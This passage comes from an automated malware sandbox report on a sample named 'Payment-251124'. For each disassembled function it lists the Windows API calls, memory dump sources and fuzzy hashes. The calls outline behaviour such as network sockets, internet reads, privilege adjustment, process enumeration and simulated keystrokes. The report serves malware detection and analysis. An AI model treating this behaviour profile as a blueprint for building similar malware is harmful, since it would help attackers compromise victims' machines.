                                                        Similarity
                                                        • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wsplitpath_wcscat
                                                        • String ID:
                                                        • API String ID: 1605983538-0
                                                        • Opcode ID: 088fde006004de28ab5e24e32a8d4000e2b16c6eb2d706ff1788d401ebb10460
                                                        • Instruction ID: e0325e5f0001c9e015c1b8032ba22927673709078351c8aa560bebdfb8509a0d
                                                        • Opcode Fuzzy Hash: 088fde006004de28ab5e24e32a8d4000e2b16c6eb2d706ff1788d401ebb10460
                                                        • Instruction Fuzzy Hash: 65218671A00258ABDB20ABA4CC88BEDB7FCAB45310F5400A5E905E3181DB719F85EB50
                                                        Function 00F1923B Relevance: 7.6, APIs: 5, Instructions: 146networkCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00F1A82C: inet_addr.WSOCK32(00000000,00000000,?,?,?,00000000), ref: 00F1A84E
                                                        • socket.WSOCK32(00000002,00000002,00000011,?,?,?,00000000), ref: 00F19296
                                                        • WSAGetLastError.WSOCK32(00000000,00000000), ref: 00F192B9
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ErrorLastinet_addrsocket
                                                        • String ID:
                                                        • API String ID: 4170576061-0
                                                        • Opcode ID: 8568d24f5f30a4e0aff6088dca55876c1d99ab9cfc6ba4f3d2daaf3b55ba4db0
                                                        • Instruction ID: 1ce9eb4e7d7a57cc94ed185a4e68b0df55b9387f69a831541b73c2d09931f149
                                                        • Opcode Fuzzy Hash: 8568d24f5f30a4e0aff6088dca55876c1d99ab9cfc6ba4f3d2daaf3b55ba4db0
                                                        • Instruction Fuzzy Hash: 7841DD70600204AFDB14AB688D92F7EB7EDEF44324F14854DF956AB3C2CBB49D029B91
                                                        Function 00F0EB60 Relevance: 7.6, APIs: 5, Instructions: 125fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • FindFirstFileW.KERNEL32(?,?), ref: 00F0EB8A
                                                        • _wcscmp.LIBCMT ref: 00F0EBBA
                                                        • _wcscmp.LIBCMT ref: 00F0EBCF
                                                        • FindNextFileW.KERNEL32(00000000,?), ref: 00F0EBE0
                                                        • FindClose.KERNEL32(00000000,00000001,00000000), ref: 00F0EC0E
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Find$File_wcscmp$CloseFirstNext
                                                        • String ID:
                                                        • API String ID: 2387731787-0
                                                        • Opcode ID: 60a6996a64c9ff02de907f3fdfd00a75538f56b780302dd438bb4b3652ef5388
                                                        • Instruction ID: e446d1fcfbab8a08b3946a2d0acf4c0f0b0bbdc8e3ed7179865bb46ef0275ef1
                                                        • Opcode Fuzzy Hash: 60a6996a64c9ff02de907f3fdfd00a75538f56b780302dd438bb4b3652ef5388
                                                        • Instruction Fuzzy Hash: AD41D275604302DFD708DF28C490A9AB3E4FF49324F10495EEA5A8B3A1DB32E945EB51
                                                        Function 00F28111 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Window$EnabledForegroundIconicVisibleZoomed
                                                        • String ID:
                                                        • API String ID: 292994002-0
                                                        • Opcode ID: 98233bb829e0d792b640d7ed0203e2793db1baafff68de3bbdc003ad9acbb4fa
                                                        • Instruction ID: 60c4ce364242dba5e5f186ecf5bd09af909a82583e49a9dbeba57eb36a69c2a4
                                                        • Opcode Fuzzy Hash: 98233bb829e0d792b640d7ed0203e2793db1baafff68de3bbdc003ad9acbb4fa
                                                        • Instruction Fuzzy Hash: BF11B2317011256FE7216F26EC44F6FBB9CEF557A0B05042DF949D7281CF34A913A6A1
                                                        Function 00EC9B60 Relevance: 7.3, Strings: 5, Instructions: 1055COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: ERCP$VUUU$VUUU$VUUU$VUUU
                                                        • API String ID: 0-1546025612
                                                        • Opcode ID: 1c40e2814f4855b2bd978e2f37df1093032e20f6446dc6a2b530c46a3d3e5347
                                                        • Instruction ID: 528cd7443d57f6fe34db38e9cdfafd07e62f678b9f53c4455589c4afb978e917
                                                        • Opcode Fuzzy Hash: 1c40e2814f4855b2bd978e2f37df1093032e20f6446dc6a2b530c46a3d3e5347
                                                        • Instruction Fuzzy Hash: AA92BF71E01219CBDF24CF58C980BFDB7B1BB54318F1891AAE816B7281D7729D82DB91
                                                        Function 00EDE01E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • LoadLibraryA.KERNEL32(kernel32.dll,?,00EDE014,74DF0AE0,00EDDEF1,00F5DC38,?,?), ref: 00EDE02C
                                                        • GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00EDE03E
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: AddressLibraryLoadProc
                                                        • String ID: GetNativeSystemInfo$kernel32.dll
                                                        • API String ID: 2574300362-192647395
                                                        • Opcode ID: fbe2c42c66e8a4a9e3e29328f3fd3d4f7b230c6a03d5778fc1a0f8c23810e8ae
                                                        • Instruction ID: b60a87093560fae27af954fe878fb0df522f13dfde5fd61ef6aabc4e7ee138ed
                                                        • Opcode Fuzzy Hash: fbe2c42c66e8a4a9e3e29328f3fd3d4f7b230c6a03d5778fc1a0f8c23810e8ae
                                                        • Instruction Fuzzy Hash: 6CD0A7345007129FD7315F60EC0C61276D4EB11308F18841BEC85E2350D7B4CC81D761
                                                        Function 00F013CA Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 560stringCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • lstrlenW.KERNEL32(?,?,?,00000000), ref: 00F013DC
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: lstrlen
                                                        • String ID: ($|
                                                        • API String ID: 1659193697-1631851259
                                                        • Opcode ID: 455698f3e04c32b59704b39087aef0e49af5d62d281961eb67882eeabafc49a8
                                                        • Instruction ID: ff758d22b79f389eadf63cbba409b11d405c238c095f2dc218388e9277178bff
                                                        • Opcode Fuzzy Hash: 455698f3e04c32b59704b39087aef0e49af5d62d281961eb67882eeabafc49a8
                                                        • Instruction Fuzzy Hash: 8C322475A007059FCB28CF69C480A6AB7F0FF48320B15C56EE49ADB3A2E770E941DB44
                                                        Function 00EDB11F Relevance: 4.9, APIs: 3, Instructions: 377COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EDB34E: GetWindowLongW.USER32(?,000000EB), ref: 00EDB35F
                                                        • DefDlgProcW.USER32(?,?,?,?,?), ref: 00EDB22F
                                                          • Part of subcall function 00EDB55D: DefDlgProcW.USER32(?,00000020,?,00000000), ref: 00EDB5A5
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Proc$LongWindow
                                                        • String ID:
                                                        • API String ID: 2749884682-0
                                                        • Opcode ID: 77df11707267e470a246b19e101e6b545033e0b6c5cbadb83f53f91a5e98275d
                                                        • Instruction ID: 770fe612955677772d02ce590a58dd35da9ae707e26026ee4ff0f8ae207ac50f
                                                        • Opcode Fuzzy Hash: 77df11707267e470a246b19e101e6b545033e0b6c5cbadb83f53f91a5e98275d
                                                        • Instruction Fuzzy Hash: AAA12661514005FEDA28AA699C88EBF396CEF56364F16522FF441F63E1FB149C03B272
                                                        Function 00F14EB5 Relevance: 4.7, APIs: 3, Instructions: 155networkfileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00F143BF,00000000), ref: 00F14FA6
                                                        • InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00F14FD2
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Internet$AvailableDataFileQueryRead
                                                        • String ID:
                                                        • API String ID: 599397726-0
                                                        • Opcode ID: 8d865a115e536dc0db9bd6c33202b8676b0173578efbf16111bd073f541316f1
                                                        • Instruction ID: 4ce21896602f6ebd2caae34737ea6cac8ad670cb2663928ded593b10ce13c218
                                                        • Opcode Fuzzy Hash: 8d865a115e536dc0db9bd6c33202b8676b0173578efbf16111bd073f541316f1
                                                        • Instruction Fuzzy Hash: 9241B77290460AFFEB20DE94DC85FFB77BCEB80764F10402EF60567281D671AE85A690
                                                        Function 00F0E1FD Relevance: 4.6, APIs: 3, Instructions: 72COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SetErrorMode.KERNEL32(00000001), ref: 00F0E20D
                                                        • GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00F0E267
                                                        • SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 00F0E2B4
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ErrorMode$DiskFreeSpace
                                                        • String ID:
                                                        • API String ID: 1682464887-0
                                                        • Opcode ID: b1fbac41b751decdeed042f654b315805cfcca932379b8f98769a5c6bd39ba71
                                                        • Instruction ID: 3d55003b9d048545992c9b3aade8e043266b764e02627a619bc3309274197d1a
                                                        • Opcode Fuzzy Hash: b1fbac41b751decdeed042f654b315805cfcca932379b8f98769a5c6bd39ba71
                                                        • Instruction Fuzzy Hash: A2214A35A00118EFCB00EFA5D984AADFBF8FF99314F0484AAE905A7391DB319906DB50
                                                        Function 00EFB134 Relevance: 4.6, APIs: 3, Instructions: 67COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EDF4EA: std::exception::exception.LIBCMT ref: 00EDF51E
                                                          • Part of subcall function 00EDF4EA: __CxxThrowException@8.LIBCMT ref: 00EDF533
                                                        • LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00EFB180
                                                        • AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00EFB1AD
                                                        • GetLastError.KERNEL32 ref: 00EFB1BA
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
                                                        • String ID:
                                                        • API String ID: 1922334811-0
                                                        • Opcode ID: 105adc713150061e1b3944fe2967dcbda75dab6c0fec31b62aa3fde93acf2896
                                                        • Instruction ID: 89e1b891c7066c021c91ce7539f9b1268c3c3f0187c6714ebe5a6f83613309c4
                                                        • Opcode Fuzzy Hash: 105adc713150061e1b3944fe2967dcbda75dab6c0fec31b62aa3fde93acf2896
                                                        • Instruction Fuzzy Hash: 8F1191B1504209AFE718EF54DCD5D6BB7FDFB44714B20852EE556A7240DB70FC418A60
                                                        Function 00F06685 Relevance: 4.6, APIs: 3, Instructions: 61fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00F066AF
                                                        • DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,0000000C,?,00000000), ref: 00F066EC
                                                        • CloseHandle.KERNEL32(00000000,?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00F066F5
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: CloseControlCreateDeviceFileHandle
                                                        • String ID:
                                                        • API String ID: 33631002-0
                                                        • Opcode ID: 6ec0707c9b1dbc477f629b5512ec9fc06496e5d6aa251dd534108188dcaa80e6
                                                        • Instruction ID: 31d1bf859c31b1a8bcb2c325fa1dc429acef9ab12da99bb20ee1bb8cdcebd6d4
                                                        • Opcode Fuzzy Hash: 6ec0707c9b1dbc477f629b5512ec9fc06496e5d6aa251dd534108188dcaa80e6
                                                        • Instruction Fuzzy Hash: D41182B1901228BEE7118BA8DC45FAF77ACEB05754F104555FD01E71D0C2B4AA04A7A1
                                                        Function 00F071FA Relevance: 4.5, APIs: 3, Instructions: 42memoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00F07223
                                                        • CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00F0723A
                                                        • FreeSid.ADVAPI32(?), ref: 00F0724A
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: AllocateCheckFreeInitializeMembershipToken
                                                        • String ID:
                                                        • API String ID: 3429775523-0
                                                        • Opcode ID: 7b36595e0fcf18b1a4cbb91658ad29e4fbf40b6dc3a13aaeea3607a15248a858
                                                        • Instruction ID: d564fc6c036970708f6d9f704be949216ceb3dc0b7aefbfa36827558811cec5a
                                                        • Opcode Fuzzy Hash: 7b36595e0fcf18b1a4cbb91658ad29e4fbf40b6dc3a13aaeea3607a15248a858
                                                        • Instruction Fuzzy Hash: 87F01279D0430DBFDF04DFE8DD89AEDBBB8EF09201F104469A502E3191E27056449B10
                                                        Function 00F0F56F Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • FindFirstFileW.KERNEL32(?,?), ref: 00F0F599
                                                        • FindClose.KERNEL32(00000000), ref: 00F0F5C9
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Find$CloseFileFirst
                                                        • String ID:
                                                        • API String ID: 2295610775-0
                                                        • Opcode ID: 19942985dda28d8a97b33e20c6a0421482676ab2eeb0f803c79d015eb1f121d3
                                                        • Instruction ID: 261b9c209bf5769b00cbebee10ef033bea98f3d57c12cc91ed3b622217c03959
                                                        • Opcode Fuzzy Hash: 19942985dda28d8a97b33e20c6a0421482676ab2eeb0f803c79d015eb1f121d3
                                                        • Instruction Fuzzy Hash: E111C0326002049FD710EF28D849A2EF3E9FF95324F04891EF9AAD7391DB30AD059B81
                                                        Function 00F0CE7A Relevance: 3.0, APIs: 2, Instructions: 30windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,00F1BE6A,?,?,00000000,?), ref: 00F0CEA7
                                                        • FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,00F1BE6A,?,?,00000000,?), ref: 00F0CEB9
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ErrorFormatLastMessage
                                                        • String ID:
                                                        • API String ID: 3479602957-0
                                                        • Opcode ID: c533e7b21bc7144553eb2e6188131b511abc3641e6b27f6d091533d5c347984f
                                                        • Instruction ID: 9c02ae42a8ad6db45c9947683ee1ea0b9afa8bd73731d39317b814526766abb1
                                                        • Opcode Fuzzy Hash: c533e7b21bc7144553eb2e6188131b511abc3641e6b27f6d091533d5c347984f
                                                        • Instruction Fuzzy Hash: 15F0823550022DEBDB109FA4DC49FFB776DBF09361F004165F919D6191D6709A40DBA1
                                                        Function 00F0411C Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00F04153
                                                        • keybd_event.USER32(?,75C0C0D0,?,00000000), ref: 00F04166
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: InputSendkeybd_event
                                                        • String ID:
                                                        • API String ID: 3536248340-0
                                                        • Opcode ID: 40c72eeabe1689d6426ccfa1a1414d68b018afdb29730c053cfb4744d9d1eb86
                                                        • Instruction ID: 8981b8a83b70eab2bb4f86723774a7b082d60487c966bda0767f3ec678802f4f
                                                        • Opcode Fuzzy Hash: 40c72eeabe1689d6426ccfa1a1414d68b018afdb29730c053cfb4744d9d1eb86
                                                        • Instruction Fuzzy Hash: 6DF0677490424DAFDB068FA0C805BBE7BB0EF10305F04800AF966A61A2D7799612AFA0
                                                        Function 00EFAB84 Relevance: 3.0, APIs: 2, Instructions: 22COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00EFACC0), ref: 00EFAB99
                                                        • CloseHandle.KERNEL32(?,?,00EFACC0), ref: 00EFABAB
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: AdjustCloseHandlePrivilegesToken
                                                        • String ID:
                                                        • API String ID: 81990902-0
                                                        • Opcode ID: 2f3cf0f59e0712483a43432fdaebc01c894a9471fc3686b85ee23a0be40718e3
                                                        • Instruction ID: 08a4a551c0b017dedd53bf5bc70b7f9b71bf2e6d7bad97fdc3dd7db1137f8ebb
                                                        • Opcode Fuzzy Hash: 2f3cf0f59e0712483a43432fdaebc01c894a9471fc3686b85ee23a0be40718e3
                                                        • Instruction Fuzzy Hash: 40E0E675000510AFE7256F54FC09D7777E9EF043217108429F95A91574D7626C91DB50
